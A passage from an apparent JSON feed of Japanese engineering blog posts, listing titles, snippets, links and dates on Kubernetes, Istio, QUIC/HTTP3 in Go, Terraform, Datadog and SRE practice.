で古いインストール手順なんかを見てコマンドをコピペしていると出くわすこのメッセージ Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)). package 署名の公開鍵の管理方法が変わったみたいです リ","link":"https://blog.1q77.com/2022/10/apt-key-is-deprecated/","isoDate":"2022-10-15T13:06:00.000Z","dateMiliSeconds":1665839160000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"iPhone の通信を覗く","contentSnippet":"先日 iPhone のアプリが https で通信している内容を覗いてみようと HTTP プロキシに OWSAP ZAP を指定して覗いてみました。 OWASP ZAP が動的に証明書を発行してくれるので、その発行元となる CA を iPhone に登","link":"https://blog.1q77.com/2022/10/iphone-packet-capture/","isoDate":"2022-10-14T13:10:09.000Z","dateMiliSeconds":1665753009000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"CDK for Terraform を理解する","contentSnippet":"はじめに 基本的な使い方をまとめてみました。 CDK for Terraform Is Now Generally Available 今回は TypeScript を使っている前提で記述するため、他の言語を利用する場合 […]The post CDK for Terraform を理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cdk-for-terraform/","isoDate":"2022-10-06T02:27:54.000Z","dateMiliSeconds":1665023274000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Istio のサービスへの接続でプロトコルエラーになる","contentSnippet":"現象Istio サービスメッシュを有効にした Kubernetes クラスタ内に立てた Service に接続しようとするも，upstream connect error or disconnect/reset before headers. reset reason: protocol error が出て到達できない。例えば，以下のような Service に gRPC で接続しようとしても失敗する。apiVersion: v1kind: Servicemetadata: name: my-servicespec: selector: app.kubern...","link":"https://zenn.dev/toshikish/articles/d0dd54ae067bed","isoDate":"2022-10-04T02:55:06.000Z","dateMiliSeconds":1664852106000,"authorName":"toshikish","authorId":"toshikish"},{"title":"CPU Resource limit に思いを馳せてみた","contentSnippet":"本日お伝えしたいこと あらゆるものが抽象化・仮想化されても、CPU やメモリの仕組みやプロトコルの性質などの計算機における基礎知識は持っておかないと調査がうまくいかない場面がある、ということです。具体的なエピソードを交え […]The post CPU Resource limit に思いを馳せてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cpu-resource-limit/","isoDate":"2022-09-27T08:03:06.000Z","dateMiliSeconds":1664265786000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SQL*Loaderで複数の文字コードが混ざったデータをロードする","contentSnippet":"SQL*Loaderで複数の文字コードが混ざったデータをロードする 概要単一のテキストファイル内で特定のカラムのみ文字コードが違うファイルをSQL*Loaderでデータベースに取り込む方法 注意本記事で扱っている対処方法はおそらく紛れ込んだ文字コードが本来あるべき文字コードの一部として解釈できない場合使用できないと思います。(未検証)最低限文字化けしながらも読み込める状態を想定しています。 結論コントロールファイル内で文字コードの変換が必要なカラムに以下の関数を適用する。column \\"CONVERT(:column, \'target_charset\', \'s...","link":"https://zenn.dev/nnaka2992/articles/load_complex_characterset_oracle","isoDate":"2022-09-25T14:48:29.000Z","dateMiliSeconds":1664117309000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"トイルを撲滅するための3つのステップ","contentSnippet":"トイルを削減できなければ、前向きな作業にかけられる時間が減るだけでなく、作業員の士気の減退やスキルアップの機会の減少などのデメリットがあります。The post トイルを撲滅するための3つのステップ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/toil-eradication-3step/","isoDate":"2022-09-14T09:34:07.000Z","dateMiliSeconds":1663148047000,"authorName":"Sreake","authorId":"Sreake"},{"title":"TiDB 入門 (tiup playground)","contentSnippet":"MySQL 互換の NewDB として最近気になっている TiDB について調査すべく、クラスタを手元で簡単にセットアップ可能な tiup playgroud コマンドを使って触ってみます。気にな…","link":"https://qiita.com/yteraoka/items/4471e548fb556ef740f4","isoDate":"2022-09-06T08:13:57.000Z","dateMiliSeconds":1662452037000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"golangで作るQUICプロトコル(HTTP3リクエストの送信と受信)","contentSnippet":"はじめに前回までの記事でQUICプロトコル上でTLS1.3のハンドシェイクが完了しました。TLS1.3のハンドシェイクが完了したということは、Application Data=HTTPとかをサーバとやり取りできるということになります。今回はサーバにHTTP3のリクエストを送り、メッセージを受信してみます。ソースは以下にあります。https://github.com/sat0ken/go-quic HTTP2とHTTP3HTTP2からストリームとフレームという仕組みが用いられて、1つのTCPコネクションがストリームとなり、ストリーム内で複数のフレームがHTTPヘッダや...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol3","isoDate":"2022-09-04T04:06:32.000Z","dateMiliSeconds":1662264392000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/09/02] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年09月2日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/r2YsmQFcv-o 告知とかニュースっぽいもの controller-runtime clientについてhttps://zenn....","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220902","isoDate":"2022-09-02T13:01:11.000Z","dateMiliSeconds":1662123671000,"authorName":"bells17","authorId":"bells17"},{"title":"Visual Studio Codeで使えるリモート環境のdevcontainerが意外と便利そうだったのでまとめ","contentSnippet":"試してたらたまたまVisual Studio Code(vscode)のdevcontainer(Remote Container)が、Remote SSH経由でリモート環境でも使えることを知ったので、devcontainer用の環境構築方法やdevcontainerの構築方法についてまとめてみた今まではローカル環境のdockerか、codespaceでしか利用できないのかなと思っていたのだけど、リモート含めて利用できるとかなり便利そうな印象だったので一通り試してみました最近はRemote SSHでリモート環境を利用するケースが多いのでリモート環境で使えないならそんなに使えないかなと...","link":"https://zenn.dev/bells17/articles/remote-ssh-devcontainer","isoDate":"2022-09-01T18:16:25.000Z","dateMiliSeconds":1662056185000,"authorName":"bells17","authorId":"bells17"},{"title":"負荷テストツール K6 について調べてみた","contentSnippet":"はじめに K6 を初めて触ってから 7-8ヶ月くらいたったので、K6 のツール周りに関する情報紹介で社内で発信した情報をまとめてみました。 k6 jslib まず、K6 には k6 jslib という K6 の拡張ツール […]The post 負荷テストツール K6 について調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-k6/","isoDate":"2022-09-01T02:10:07.000Z","dateMiliSeconds":1661998207000,"authorName":"Sreake","authorId":"Sreake"},{"title":"golangで作るQUICプロトコル(TLS1.3 ハンドシェイクの終了まで)","contentSnippet":"はじめに前回の記事まででInitial Packetを生成してサーバに送信しました。今回の記事はその続きとなり、サーバからのパケットをパースしてHandshake Packetを送信するところまで解説したいと思います。ソースコードは以下にあります。https://github.com/sat0ken/go-quic Retry Packetの受信→Initial Packetの送信quic-goのサーバにInitial Packetを送信すると、Retry Packetが返ってきます。このへんはサーバの実装により異なってくるのですが、quic-goはそういう実装になっ...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol2","isoDate":"2022-08-27T16:50:00.000Z","dateMiliSeconds":1661619000000,"authorName":"satoken","authorId":"satoken"},{"title":"controller-runtime clientについて","contentSnippet":"KubernetesでOperatorやControllerを開発する際に利用するフレームワークであるcontroller-runtimeのclientについて調べたのでまとめます。この記事の目的は以下のような感じになります:controller-runtimeが提供するKubernetes clientの概要についてまとめることcontroller-runtime client周りの追加の不明点などがあった場合には、この記事をベースにコードベースで調べたいことをすぐに調べられる程度にはコードレベルで詳しい内容をまとめること以下についてわかるようになること各種内部clien...","link":"https://zenn.dev/bells17/articles/controller-runtime-client","isoDate":"2022-08-27T09:30:47.000Z","dateMiliSeconds":1661592647000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るQUICプロトコル(Initial Packetの送信まで)","contentSnippet":"はじめについ最近HTTP3のRFC9114として正式に発行されました。HTTP3はQUICプロトコル上で実装されているものです。HTTP3はGoogleのTOPページなど既に日常的に使われています。業務でQUICやHTTP3でコードを書くことはまだあまりないと思いますが、まぁいずれそういう時代もくるでしょう。そういう時が来たときにあたふたするわけにはいかないので、今回はQUICとHTTP3プロトコルスタックを実装して学んでみることにします。今回のルールとゴールです。udpパケットの送信と受信にnetパッケージを使用するTLSは自分で実装したものを使用、crypto/...","link":"https://zenn.dev/satoken/articles/golang-quic-protocol","isoDate":"2022-08-24T23:10:48.000Z","dateMiliSeconds":1661382648000,"authorName":"satoken","authorId":"satoken"},{"title":"疲弊しないSREチームを作るために必要な6つのポイント","contentSnippet":"本記事では、疲弊しないSREチームを作るために必要な6つのポイントを紹介します。SREチームをどのように形成すればよいか悩んでいる企業様は参考にしてください。The post 疲弊しないSREチームを作るために必要な6つのポイント first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/not-exhaustion-engineer/","isoDate":"2022-08-23T03:36:21.000Z","dateMiliSeconds":1661225781000,"authorName":"Sreake","authorId":"Sreake"},{"title":"リリースエンジニアリングについて理解する [デプロイ戦略]","contentSnippet":"サービスのリリースにかかるダウンタイムを減らし、安定稼働する戦略を取ることはユーザーからの満足度及び信頼度向上につながります。本記事では、SREの取り組みのひとつであるリリースエンジニアリング、そしてデプロイ戦略について解説していきます。The post リリースエンジニアリングについて理解する [デプロイ戦略] first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/release-engineer/","isoDate":"2022-08-23T03:00:00.000Z","dateMiliSeconds":1661223600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Software Design 2022年9月号にコードリーディングに関する記事を寄稿しました","link":"https://bells17.medium.com/oss-source-code-reading-29392edf80fe?source=rss-713cf42ce34d------2","isoDate":"2022-08-18T15:06:54.000Z","dateMiliSeconds":1660835214000,"authorName":"bells17","authorId":"bells17"},{"title":"アンチパターンからSREを理解する","contentSnippet":"日本国内でも、サービスの信頼性向上のためにSREに取り組む企業も増えてきました。しかし誤ったやり方で実施したがゆえに、思ったように成果が出ないと嘆く企業もあるのではないでしょうか。 そこで今回はSREのアンチパターンをも […]The post アンチパターンからSREを理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/anti-pattern-sre/","isoDate":"2022-08-17T08:47:45.000Z","dateMiliSeconds":1660726065000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraform state の構成の提案","contentSnippet":"動機 単一の Terraform state でリソースを構築していると、徐々にリソース数が増加し、コードの見通しが悪くなったり plan 時間が長くなったりといった問題が発生します。 単一 state で運用していたが […]The post Terraform state の構成の提案 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/terraform-state-structure/","isoDate":"2022-08-15T23:16:16.000Z","dateMiliSeconds":1660605376000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Graceful Node Shutdown で Terminated 状態で残る Pod を削除する cronjob","contentSnippet":"GKE (GKE 限定な話ではないけれども) で Preemptible な node を使用していると Graceful Node Shutdown により停止させられた Pod が Failed 状態でどんどん溜まっていって結構邪魔です。 できれば消えて欲しい。 ということ","link":"https://blog.1q77.com/2022/08/delete-failed-pod-periodically/","isoDate":"2022-08-12T12:19:57.000Z","dateMiliSeconds":1660306797000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"envoy-sidecar-helper で Job の終了後に istio-proxy を停止させる","contentSnippet":"Istio を導入した環境で Job (CronJob) を実行すると、sidecar としての istio-proxy コンテナを Job 本来の処理が終わった後に istio-proxy コンテナを終了させないといつまで経っても Pod が終了しないという課","link":"https://blog.1q77.com/2022/08/stop-istio-proxy-using-envoy-sidecar-helper/","isoDate":"2022-08-12T11:51:14.000Z","dateMiliSeconds":1660305074000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GKE Service の NEG を Terraform で作成する","contentSnippet":"GKE の Ingress で Load Balancer を作成すると、同一 namespace 内の Service にしか振り分けられないとか、単一の Cluster でしか使えないとか不都合な場合があります。その場合 Load Balancer 関連のリソースは Terraform で作成したくな","link":"https://blog.1q77.com/2022/08/create-gke-service-neg-using-terraform/","isoDate":"2022-08-09T11:13:48.000Z","dateMiliSeconds":1660043628000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[2022/07/015] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年07月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/ar1_fxX601E 告知とかニュースっぽいもの 『Linuxで動かしながら学ぶTCP/IPネットワーク入門』でネットワークの勉強をし...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220715","isoDate":"2022-07-15T07:31:08.000Z","dateMiliSeconds":1657870268000,"authorName":"bells17","authorId":"bells17"},{"title":"ブログを久しぶりにリニューアル","contentSnippet":"どうも、ご無沙汰しておりました。Hugo Themeの変更ブログのホスティングをGAEからCloudflare Pagesに移行記事の管理をbitbucketからGitHubに移行Google Analyticsの対応記事内の手入れHugo Themeの変更どこから手を付けようかなと整理したところ、今まで使っていたThemeがmarkdown記法に対応していなかったというのもあって見た目のところから変えることにした。hugo-theme-stackこのThemeは見た目がすっきりでコンテンツが並べやすそうだったので選びました。今回はフロント自体はさっくり終わらせたかったのでなるたけシンプルなものにしています。ホスティングをGAEからCloudflare Pagesに移行GAEにした経緯はこちらに書いてあるのですが、もともとGCSでホスティングしていたのをhttps化できればよかったんですが、ロードバランサーを置くとお金がかかりそうだなということでGAEに移行していました。AWS AmplifyCloudflare PagesGitHub PagesちなみにこれらはJAMstackホスティングに類するサービスです。各サービスは無料枠、もしくはローコストで運用できるという魅力もあるためどれもよさそうでしたが今まで使ったことがないという理由でCloudflareを使ってみることにしました。Cloudflare Pagesではリポジトリとブランチを指定するだけですぐにエンドポイントを払い出してくれるので5分とかからずに初期設定が完了できました。また、Cloudflare Pagesは静的ジェネレーターを使用する前提になっているので、Build configrationsで普段使っているFrameworkを選択してあげるだけでOKです。リポジトリをBitbucketからGitHubに移行ブログ記事の管理は長らくBitbucketを利用していたのですが、ブログを書き始めた当時は無償でプライベートリポジトリを使えるのがBitbucketしかなかったからでした。いい感じにcloneしていい感じにpushするとできそうだなというのはわかっていたので以下を参考にしつつ移行しました。How to migrate from Bitbucket to GitHubGoogle Analyticsの対応ここまできてようやくリニューアルの当初の本題なんですが、hugo-theme-stackはGA4に対応しているようなのでconfigにGA4の測定IDをセッティングすればそれだけでOKでした。googleanalytics = your measurementID記事内の手入れ最後が何気に大変だったのですが、書き溜めていた記事の記法が統一されていなかったり目立つところがいくつかあったのでついでにやってしまいました。lists記法の統一画像がlocalだったりGoogle Driveにホスティングしてたりしたのをlocalに統一shortcodeを整えるあとはフォントがデフォルトだと日本語ではないのでReferenceを見ながらlayoutを追加。Custom font family for article content最初はGA4対応どうするかな〜から始まったブログリニューアルでしたが、こまめに手入れしていればこんな大掛かりにならずに済みましたね…ブログの運用自体がsandboxというところもあるので、これを機に年単位でガッとやらずに小さい単位でやっていきたい所存です。","link":"https://blog.jigyakkuma.org/2022/07/14/blog-renewal2022/","isoDate":"2022-07-14T12:53:20.000Z","dateMiliSeconds":1657803200000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"【Codezine掲載】SREは運用チームだけの問題？ 開発者のメリットをGoogle\xd7スリーシェイクがプラクティスとともに解説！","contentSnippet":"「デベロッパーの成長と課題解決に貢献するメディア」をコンセプトに情報発信を行うソフトウェア開発者向けWebメディア「Codezine」に、Srekae事業部部長手塚の対談記事が掲載されました。The post 【Codezine掲載】SREは運用チームだけの問題？ 開発者のメリットをGoogle\xd7スリーシェイクがプラクティスとともに解説！ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/codezine_sre_google/","isoDate":"2022-07-07T06:46:00.000Z","dateMiliSeconds":1657176360000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[2022/07/01] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年07月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/R7VHtaBZFkQ 告知とかニュースっぽいもの Kubernetes Novice Tokyo #20にてKueueのセッションを行...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220701","isoDate":"2022-07-01T11:14:01.000Z","dateMiliSeconds":1656674041000,"authorName":"bells17","authorId":"bells17"},{"title":"Datadogのログ管理コストをフィルター機能で削減をする","contentSnippet":"今回は、Datadogの料金体系に関するお話と、実際の案件で発生したコスト削減の対応を行ったお話をご紹介していきたいと思います。The post Datadogのログ管理コストをフィルター機能で削減をする first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog_cost_filter/","isoDate":"2022-06-28T03:04:27.000Z","dateMiliSeconds":1656385467000,"authorName":"Sreake","authorId":"Sreake"},{"title":"S3にアーカイブしたDatadogのログを復元する","contentSnippet":"Datadogのログにまつわるお話を紹介させていただきます！今回はアーカイブされたログをDatadogで見たい場合どのように復元していくのかについてご紹介しますThe post S3にアーカイブしたDatadogのログを復元する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/s3_datadog_log/","isoDate":"2022-06-28T03:04:23.000Z","dateMiliSeconds":1656385463000,"authorName":"Sreake","authorId":"Sreake"},{"title":"インフラコードのテストツール Terratest を触ってみた","contentSnippet":"Terratest の概要 公式HP:\xa0https://terratest.gruntwork.io/ Githubリポジトリ:\xa0https://github.com/gruntwork-io/ter […]The post インフラコードのテストツール Terratest を触ってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-terratest/","isoDate":"2022-06-27T00:43:53.000Z","dateMiliSeconds":1656290633000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWS SAP 合格体験記 2022/06","contentSnippet":"はじめにネットで公開されている数々のAWS Certified Solutions Architect - Professionalの合格体験記や勉強法などにお世話になったので自分も書いてみることにしました。教材選びや学習スケジュールの参考になれば嬉しいです。 私の前提知識まず、本題に入る前に私のSAPを受ける前までのスキルセットを軽く紹介させてください。業務でのAWS歴は8ヶ月ほどで現在SREとして働いています以前はRuby on Railsなどを書くプログラマーをやっていましたAWS SAAは2022/03に取得しましたAWSではない他のIT資格は以下で...","link":"https://zenn.dev/tayusa/articles/7b3dd99a79403c","isoDate":"2022-06-24T00:36:49.000Z","dateMiliSeconds":1656031009000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"golangでHTTP3を試してみる","contentSnippet":"はじめについ先日、HTTP3がRFC9114として正式に発表されました。https://blog.cloudflare.com/cloudflare-view-http3-usage/RFC読むよりとりあえずパケット見る派なので、とりあえずコード書いて動かしてキャプチャしたいところです。quic-goは http3 ディレクトリがあり、対応してそうなのでサンプルコードを書いてみました。数日前にcommitが入っていて開発も活発そうですね。サンプルのサーバ側コードを試す時はお手数ですが、opensslやmkcertコマンドなどでご自分で公開鍵&秘密鍵を生成してくださ...","link":"https://zenn.dev/satoken/articles/golang-hajimete-http3","isoDate":"2022-06-14T00:42:51.000Z","dateMiliSeconds":1655167371000,"authorName":"satoken","authorId":"satoken"},{"title":"istio-proxy の log level を変更する","contentSnippet":"Istio でよくわからない通信の問題が発生した際、Envoy の access log だけでは何が起きているのかわからない場合があります。そんなとき、当該 Pod の LogLevel を debug に変更することで得られる","link":"https://blog.1q77.com/2022/06/istio-proxy-log-level/","isoDate":"2022-06-07T07:34:29.000Z","dateMiliSeconds":1654587269000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Mizu で kubernetes 内の通信を覗く (part 1)","contentSnippet":"Mizu - API Traffic viewer for Kubernetes というものの存在を知ったので試してみます。 サイトには次のように書いてあります。気になります。 Mizu offers a real-time view of all HTTP requests, REST and gRPC API calls, as well as Kafka, AMQP (activeMQ / RabbitMQ), and Redis. HTTP も gRPC","link":"https://blog.1q77.com/2022/06/using-mizu-part-1/","isoDate":"2022-06-04T16:04:52.000Z","dateMiliSeconds":1654358692000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"istio-proxyがどのように通信を仲介しているかを知る","contentSnippet":"目的前回、書いた記事で素のKubernetesのネットワークについて少し理解できたのですが、Istioを入れた場合はEnvoyが通信を仲介するのでその仕組みを知りたく調べてみましたhttps://zenn.dev/tayusa/articles/c705cd65b6ee74 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 クラスタのセットアップ kindでクラスタ作成https:...","link":"https://zenn.dev/tayusa/articles/aa54bbff3d0d2d","isoDate":"2022-06-03T18:42:53.000Z","dateMiliSeconds":1654281773000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"【Codezine掲載】システムの信頼性を高める、クラウドネイティブ実践のコツとは？ 青山真也氏\xd7スリーシェイクが語る「これまで」と「これから」","contentSnippet":"「デベロッパーの成長と課題解決に貢献するメディア」をコンセプトに情報発信を行うソフトウェア開発者向けWebメディア「Codezine」に、Srekae事業部部長手塚の対談記事が掲載されました。The post 【Codezine掲載】システムの信頼性を高める、クラウドネイティブ実践のコツとは？ 青山真也氏\xd7スリーシェイクが語る「これまで」と「これから」 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/codezine_cloudnative/","isoDate":"2022-06-03T06:31:00.000Z","dateMiliSeconds":1654237860000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Karpenter について調べてみた","contentSnippet":"2021年の re:invent にて GA となったことが発表された、Karpenter について調べてみたのでその共有となります。 公式HP: https://karpenter.sh/ リポジトリ: https:/ […]The post Karpenter について調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-karpenter/","isoDate":"2022-05-30T01:38:25.000Z","dateMiliSeconds":1653874705000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesのServiceの挙動を確認する","contentSnippet":"目的普段、Kubernetesを触ってはいるのですが、表面的な使い方しか知らないので動きを確認してみます 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 ひとまず、ローカルでクラスタを立てる環境に応じてkindをインストールhttps://kind.sigs.k8s.io/docs/user/quick-start/#installationクラスタの作成$ kind ...","link":"https://zenn.dev/tayusa/articles/c705cd65b6ee74","isoDate":"2022-05-28T12:19:47.000Z","dateMiliSeconds":1653740387000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"istio-proxy 停止時の挙動","contentSnippet":"istio の sidecar である pilot-agent, envoy が Pod の終了時にどう振る舞うのかをまとめてみました。 デフォルトの istio-proxy Pod Delete されたタイミングで各コ […]The post istio-proxy 停止時の挙動 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/istio-proxy-stop-behavior/","isoDate":"2022-05-26T00:17:32.000Z","dateMiliSeconds":1653524252000,"authorName":"Sreake","authorId":"Sreake"},{"title":"リモートワークのナレッジ","contentSnippet":"ここ最近リモートワークですが、辛くないですか？とか、〜なときどうしているんですか？みたいなことを複数件聞かれたりしています。自宅で仕事をするようになって2年と半年ぐらいになった男の意識していることや環境のことを共有してみ […]The post リモートワークのナレッジ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/remote-work-knowledge/","isoDate":"2022-05-25T00:15:51.000Z","dateMiliSeconds":1653437751000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Goで立てたWebサーバーでソケットを学ぶ","contentSnippet":"目的TCPなどにまるで明るくないので、学習のために調べてみました 環境Arch Linux(5.17.9-arch1-1)go version go1.18.3 linux/amd64 やることGoで書いたWebサーバーを動かして挙動を確認したり、少しコードを見てみますコードは以下ですpackage mainimport (\\t\\"fmt\\"\\t\\"log\\"\\t\\"net/http\\"\\t\\"time\\")func main() {\\thttp.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request)...","link":"https://zenn.dev/tayusa/articles/077d911b357a92","isoDate":"2022-05-22T12:32:11.000Z","dateMiliSeconds":1653222731000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"【ZDnet寄稿記事掲載】ようこそSREの世界へ","contentSnippet":"テクノロジーで新たなビジネスを創造するすべてのリーダーを対象に、価値創造や課題解決のヒントを発信するメディア「ZDnet Japan」に、Srekae事業部部長手塚が「SRE」をテーマに寄稿記事を連載しております。 多く […]The post 【ZDnet寄稿記事掲載】ようこそSREの世界へ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sre_zdnet_what_is_sre/","isoDate":"2022-05-19T07:34:00.000Z","dateMiliSeconds":1652945640000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWSでマルチリージョン対応に利用したサービス","contentSnippet":"2021年３月、AWSで大阪がフルリージョンになり国内でマルチリージョン対応が可能なりました。https://aws.amazon.com/jp/local/osaka-region/ Active-Standbyの構成 […]The post AWSでマルチリージョン対応に利用したサービス first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-multi-region-services/","isoDate":"2022-05-19T00:11:34.000Z","dateMiliSeconds":1652919094000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREの中核を担うモニタリングの必要性とその戦略について理解する","contentSnippet":"SRE導入において「モニタリング」は欠かせない要素のひとつです。モニタリングは、システムを可視化するために行うものであり、常にシステムの健康状態を把握し、問題が何か起こったときにサービスの健全性を判定・診断するうえで中核 […]The post SREの中核を担うモニタリングの必要性とその戦略について理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sre-monitoring-strategy/","isoDate":"2022-05-18T02:01:21.000Z","dateMiliSeconds":1652839281000,"authorName":"Sreake","authorId":"Sreake"},{"title":"良いポストモーテムを執筆するために必要な5つのポイント","contentSnippet":"SREにおいてポストモーテムの文化を根付かせることは必要不可欠です。ポストモーテムはSREの導入効果をより高め、結果としてシステムの信頼性向上に繋がる体制が作れます。 本記事では、良いポストモーテムの形成方法について解説 […]The post 良いポストモーテムを執筆するために必要な5つのポイント first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/5point-good-postmortem/","isoDate":"2022-05-18T01:59:15.000Z","dateMiliSeconds":1652839155000,"authorName":"Sreake","authorId":"Sreake"},{"title":"golangで作るHTTP2プロトコル","contentSnippet":"はじめに前回まででTLS1.3+HTTPのプロトコルスタックの自作に成功しました。自作したのはHTTP1.1です。皆さんご存知のように新しいVersionのHTTP2が普及されています。今回はHTTP2プロトコルスタックを自作してみようと思います。今回の方針です。net/http2 は使わない自作したコードでリクエストをnginxに送りhtmlが返ってくればヨシ！HTTP2でGETを送るgoのコードの処理を自作したということなので、HTTP2自体を全部作ってるわけではなく一部になります、ご承知おきください\uD83D\uDE47‍♂️\uD83D\uDE47‍♂️\uD83D\uDE47‍♂️またHTTP2自体の解説より実装中...","link":"https://zenn.dev/satoken/articles/golang-http2","isoDate":"2022-05-16T12:00:30.000Z","dateMiliSeconds":1652702430000,"authorName":"satoken","authorId":"satoken"},{"title":"Google Cloud上で簡易的な高権限管理を実現する","contentSnippet":"高権限管理とは 高権限、特権ID、リリース権限、etc… 平常時は運用に必要な最低限の権限のみを持ち、リリース作業や障害対応などの必要なタイミングでのみ権限を一時的に付与する 安全な運用の面ではもちろん、上場 […]The post Google Cloud上で簡易的な高権限管理を実現する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gcp-privilege-management/","isoDate":"2022-05-16T01:04:42.000Z","dateMiliSeconds":1652663082000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Azure AKSを試す","contentSnippet":"やったことAKSをazure-cliで構築する。Golangのアプリをデプロイする。AKS構築ログイン$ az loginサブスクリプションを確認し、SubscriptionIdをセット…","link":"https://qiita.com/ys1/items/c76cc01dcaf2ed0a6f14","isoDate":"2022-05-13T22:40:47.000Z","dateMiliSeconds":1652481647000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"Datadog APMを用いてLambdaのパフォーマンスを可視化する","contentSnippet":"AWSのプロジェクトではお馴染みのLambda関数を、 Datadog APMを用いてトレース情報の取得の手順についてご紹介しますThe post Datadog APMを用いてLambdaのパフォーマンスを可視化する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog-lambda/","isoDate":"2022-05-12T10:48:40.000Z","dateMiliSeconds":1652352520000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GKE Autopilot 触ってみました","contentSnippet":"社内プロダクトではこんな感じで GKE Autopilot を使ってます 注意する箇所 Terraform google provider のバージョンを一定以上に上げる必要がある 公式の GCP Terraform M […]The post GKE Autopilot 触ってみました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gke-autopilot/","isoDate":"2022-05-12T02:00:00.000Z","dateMiliSeconds":1652320800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"cert-manager について学ぶ","contentSnippet":"ACME challenges [HTTP01] 概念が掴みにくい用語 チャレンジ (challenges)ACME クライアント(cert-manager)がドメインを所有しているのを確認すること Issuer (発行 […]The post cert-manager について学ぶ first appeared on sreake.com | 